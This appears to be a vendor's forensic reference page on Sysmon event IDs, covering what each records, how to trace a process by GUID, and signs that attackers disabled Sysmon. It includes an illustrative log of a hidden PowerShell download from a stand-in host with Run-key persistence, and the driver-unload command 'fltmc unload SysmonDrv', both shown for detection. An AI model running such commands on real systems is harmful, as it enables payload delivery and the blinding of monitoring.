Sysmon event IDs: what each one records and when it matters
Sysmon event IDs are the event numbers that Microsoft Sysinternals System Monitor writes to its own log, Microsoft-Windows-Sysmon/Operational: process creation (1), network connections (3), process access (10), file creation (11), registry changes (12 to 14), DNS queries (22) and more than twenty others. This reference lists every one, explains which matter most in an investigation, and how to tell what a host's Sysmon was configured to record.
What Sysmon is
Sysmon is a free Microsoft Sysinternals tool made of a service and a kernel driver. Once installed, it records process, network, file and registry activity to its own event log, with more detail than Windows' built-in auditing: every process carries a ProcessGuid that links its creation, network connections, file writes and termination, plus file hashes and the parent's full command line.
It is not part of Windows by default. Organisations deploy it with a configuration file that decides what is logged and what is filtered out, and many small organisations never deploy it at all. Whether a host has Sysmon, and with which configuration, is one of the first things to establish in a Windows investigation, because it changes what questions the logs can answer.
Every Sysmon event ID
| ID | Event | What it records | Investigation value |
|---|---|---|---|
| 1 | Process creation | Image, command line, hashes, user, Logon ID, integrity level, parent image and command line, process GUIDs | High: the core of execution timelines |
| 2 | A process changed a file creation time | Process, file, new and previous creation time | Timestomping by malware |
| 3 | Network connection | Process, user, protocol, source and destination address, port and host name | High: which process talked to which address |
| 4 | Sysmon service state changed | Service started or stopped | Sysmon being stopped |
| 5 | Process terminated | Process and GUID | Process lifetime |
| 6 | Driver loaded | Driver path, hashes, signature | Malicious or vulnerable drivers |
| 7 | Image loaded | DLL loaded by a process, with hashes and signature | DLL side-loading; noisy, usually filtered |
| 8 | CreateRemoteThread | Source and target process, start address | Process injection |
| 9 | RawAccessRead | Process reading a volume directly (\\.\C:) | Copying locked files such as NTDS.dit or SAM |
| 10 | ProcessAccess | Source and target process, granted access, call trace | High: credential dumping from lsass.exe |
| 11 | FileCreate | Process and file created or overwritten | High: dropped tools, staged archives |
| 12 | Registry object added or deleted | Key created or deleted, process | Persistence keys |
| 13 | Registry value set | Key, value and data written, process | High: Run keys, services, IFEO |
| 14 | Registry key and value renamed | Old and new name | Evasion |
| 15 | FileCreateStreamHash | Alternate data stream created, with hash and contents for small streams | Zone.Identifier: where a download came from |
| 16 | Sysmon config state changed | New configuration hash | Configuration tampering |
| 17, 18 | Pipe created, pipe connected | Named pipe name and process | PsExec, Cobalt Strike and other tools' pipes |
| 19, 20, 21 | WMI filter, consumer, consumer-to-filter binding | WMI event subscription details | WMI persistence |
| 22 | DNS query | Process, query name, results | High: which process resolved which domain |
| 23 | FileDelete (archived) | Deleted file, with a copy kept in the archive folder | Recovering deleted tools and scripts |
| 24 | Clipboard change | Clipboard contents (archived) | Rarely enabled; privacy-sensitive |
| 25 | Process tampering | Image changed in memory (hollowing, herpaderping) | Advanced evasion |
| 26 | FileDeleteDetected | File deletion, without archiving | Clean-up by attackers |
| 27, 28 | File block executable, file block shredding | Sysmon blocked an executable write or a shredding attempt | Prevention events, when configured |
| 29 | File executable detected | A new executable file written | Dropped tools |
| 255 | Error | Sysmon internal error | Can mark driver tampering |
The Sysmon events that matter most
Event 1, process creation. The richest single event on a Windows host. ProcessGuid and ParentProcessGuid build a reliable process tree even when process IDs are reused; Hashes identify the binary; LogonId joins the process to the 4624 that started its session; OriginalFileName catches renamed tools (a svchost.exe whose original name is psexec.c).
Event 3, network connection. Which process connected to which address and port. It is the only standard Windows record that ties a connection to a process; the firewall log and SRUM give counts and addresses without the full picture.
Event 10, process access. A process opening lsass.exe with read access (GrantedAccess values such as 0x1010 or 0x1410) is the classic sign of credential dumping. Legitimate security software does this too, so baseline the SourceImage values.
Events 11 and 13, file and registry writes. Dropped payloads, staged archives, Run keys and service keys, each with the process that wrote them. Together they show persistence being set up.
Event 22, DNS query. Which process resolved which name. It connects a command-and-control domain to the binary that used it, which proxy and DNS server logs cannot do.
Sysmon event 1 vs Windows event 4688
| Sysmon 1 | [4688](/artifacts/windows-event-ids/4688/) | |
|---|---|---|
| Available | When Sysmon is installed | When "Audit Process Creation" is enabled |
| Command line | Always | Only with the separate command-line policy |
| Parent command line | Yes | No (parent name only) |
| File hashes | Yes | No |
| Process GUIDs | Yes | No (process IDs only) |
| Original file name, signer details | Original file name, company, product | No |
| Logon ID | Yes | Yes |
| Filtered by configuration | Yes | No: all or nothing |
Where both exist, Sysmon 1 is the better record, but 4688 has one advantage: it cannot be filtered, so an exclusion in a Sysmon configuration (for example everything under a trusted folder) does not hide a process from 4688.
Which configuration was in force?
Sysmon records only what its configuration includes, so an absence is meaningful only if the configuration would have caught the event. Most organisations start from a community configuration, such as SwiftOnSecurity's sysmon-config or Olaf Hartong's sysmon-modular, and tune it. To find out what a host was logging:
- On a live host,
sysmon -cprints the active configuration. - On a collected host, the configuration is stored in the registry under the Sysmon driver's Parameters key (HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters by default, or the renamed driver's key).
- Event 16 records every configuration change with the new configuration's hash, and event 4 records the service starting and stopping.
- Count events per ID over the collection period. An ID with no events at all was probably not configured.
Following one process through Sysmon
The value of Sysmon in an investigation comes from joining its events. Every event a process causes carries the same ProcessGuid, so one search on that GUID returns the process's whole life. An illustrative chain for a script that downloads a payload and persists it:
ID Time Image Detail
1 10:02:11 powershell.exe -nop -w hidden -c iwr http://update-cdn.example/p.exe -OutFile C:\Users\Public\p.exe parent: winword.exe
22 10:02:12 powershell.exe QueryName: update-cdn.example, result 203.0.113.9
3 10:02:12 powershell.exe TCP to 203.0.113.9:80
11 10:02:13 powershell.exe TargetFilename: C:\Users\Public\p.exe
15 10:02:13 powershell.exe C:\Users\Public\p.exe:Zone.Identifier
13 10:02:14 powershell.exe HKU\...\CurrentVersion\Run\Updater = C:\Users\Public\p.exe
1 10:02:14 p.exe parent: powershell.exe (ParentProcessGuid = the GUID above)Three habits make this work. Pivot on ProcessGuid rather than ProcessId, which Windows reuses. Follow ParentProcessGuid upwards until you reach something expected (explorer.exe, services.exe, a known management agent). And follow the LogonId from event 1 to the 4624 that started the session, which tells you whether the parent chain began with a local user, a Remote Desktop session or a network logon from another host.
Installing and configuring Sysmon, in brief
Sysmon is installed with one command, sysmon64 -accepteula -i config.xml, and reconfigured with sysmon64 -c config.xml. The configuration is an XML file whose EventFiltering section holds rule groups per event type, each set to include or exclude matches on fields such as Image, CommandLine, TargetFilename or DestinationPort.
The trade-off is volume. Image loads (7), process access (10) and network connections (3) can produce millions of events a day on a busy host if left unfiltered, so configurations exclude known-good activity. Every exclusion is also a blind spot: a rule that drops all processes under C:\Program Files hides a tool an attacker copies there. For investigations, three practical points follow:
- Raise the size of the Sysmon log well above the default, or forward it; otherwise a busy host keeps only hours of history.
- Keep the configuration file under version control, so the rules in force on any date can be shown.
- Prefer configurations that include broadly and exclude narrowly for the events that matter most here (1, 3, 10, 11, 13, 22).
How attackers blind Sysmon
- Unloading the driver.
fltmc unload SysmonDrv(or the renamed driver) stops collection without stopping the service. Look for a gap in events and for fltmc.exe in process creation or Prefetch. - Stopping or uninstalling the service. Event 4 records the stop, and the System log records the service state change (7045 for a reinstall, 7036 for state).
- Changing the configuration. A new configuration that excludes the attacker's tools appears as event 16 with a different hash.
- Clearing the log. Clearing the Sysmon log writes event 104 to the System log.
Gaps matter as much as events. A host whose Sysmon log stops in the middle of an intrusion, while its Security and System logs continue, has very likely been tampered with.
When Sysmon is not installed
The workstations in our Halden Freight lab case had no Sysmon, as is common in small offices. The investigation still rebuilt the intrusion from built-in sources: process creation with command lines (4688), PowerShell script blocks (4104), the System log's service installations (7045), scheduled task events (4698), the USN Journal and SRUM. The table shows the nearest built-in source for each Sysmon event worth having:
| Sysmon event | Nearest built-in or artifact source |
|---|---|
| 1 Process creation | 4688 with command lines; Prefetch, Amcache, BAM |
| 3 Network connection | SRUM network usage per application; firewall log; 5156 if enabled |
| 10 Process access (LSASS) | Rarely available; Defender detections and 4656/4663 with object auditing on LSASS |
| 11 File created | USN Journal and $MFT, which record every creation |
| 13 Registry value set | Registry hives themselves (key last-write times); Run keys, services |
| 22 DNS query | DNS client operational log, when enabled; browser history |
Reading Sysmon in Arcsentry
Arcsentry's event log parser reads the Sysmon operational log with every other .evtx channel and exposes each event's fields by name, with common fields normalised across sources, for example process_executable, process_command_line, process_parent_executable, destination_ip and dns_question_name, and fields specific to one event kept by name. With the Sysmon log selected as the event type, this lists processes that opened LSASS, the first thing to check for credential theft:
filter event_code == "10"
derive {src = process_executable, target = $targetimage, access = event_log_sysmon_granted_access}
filter target ~= "(?i)lsass\\.exe$"
select {timestamp, src, access}
sort {timestamp}The AI investigator uses Sysmon when it is present and falls back to the built-in events and artifacts above when it is not, citing whichever record it relied on.
Where Arcsentry reads Sysmon and its alternatives
Sysmon is read by the event log parser. These parsers cover the same ground on hosts without it:
| Artifact | What Arcsentry extracts |
|---|---|
| Windows Event Logs | Parses Windows Event Log (.evtx) files. |
| Prefetch | Parses Windows Prefetch (.pf) execution artifacts. |
| Amcache | Parses Amcache.hve application execution history. |
| SRUM | Parses System Resource Usage Monitor database for application metrics. |
| USN Journal | Parses NTFS Update Sequence Number change journal. |
Frequently asked
What are the Sysmon event IDs?
1 process creation, 2 file creation time changed, 3 network connection, 4 service state, 5 process terminated, 6 driver loaded, 7 image loaded, 8 CreateRemoteThread, 9 raw disk read, 10 process access, 11 file create, 12 to 14 registry, 15 alternate data stream, 16 configuration change, 17 and 18 named pipes, 19 to 21 WMI, 22 DNS query, 23 and 26 file delete, 24 clipboard, 25 process tampering, 27 to 29 file blocking and executable detection, and 255 error.
What is Sysmon event ID 1?
Process creation. It records the image, command line, hashes, user, Logon ID, integrity level and the parent process's image and command line, with process GUIDs that link the process to its other Sysmon events.
What is Sysmon event ID 3?
A network connection made by a process, with the process image, user, protocol, source and destination addresses, ports and host names.
What is Sysmon event ID 11?
A file was created or overwritten. It records the file path, the process that wrote it and the creation time.
What is the difference between Sysmon event 23 and 26?
Both record a file deletion. Event 23 also copies the deleted file into Sysmon's archive folder, so it can be recovered; event 26 only logs the deletion. Configurations use 23 sparingly because the archive grows.
Where is the Sysmon log?
In the Microsoft-Windows-Sysmon/Operational channel, stored as Microsoft-Windows-Sysmon%4Operational.evtx in C:\Windows\System32\winevt\Logs. In Event Viewer it is under Applications and Services Logs, Microsoft, Windows, Sysmon.
Does Windows include Sysmon by default?
No. Sysmon is a free Sysinternals tool that organisations install and configure. Without it, built-in events such as 4688 and artifacts such as Prefetch, Amcache, SRUM and the USN Journal cover part of the same ground.
Sources
- Microsoft Learn: Sysmon (Sysinternals), event descriptions and configuration
- SwiftOnSecurity: sysmon-config (community configuration)
- Olaf Hartong: sysmon-modular (community configuration)
- MITRE ATT&CK: T1003.001 LSASS Memory; T1562.001 Disable or Modify Tools
Checked 2 December 2026 by Venema Labs. Parser coverage is generated from the Arcsentry build the artifact library describes.
Investigate Sysmon and every other Windows log in one place
Tell us what you want to investigate. A person replies within one business day with the download and a trial licence.
Request a trial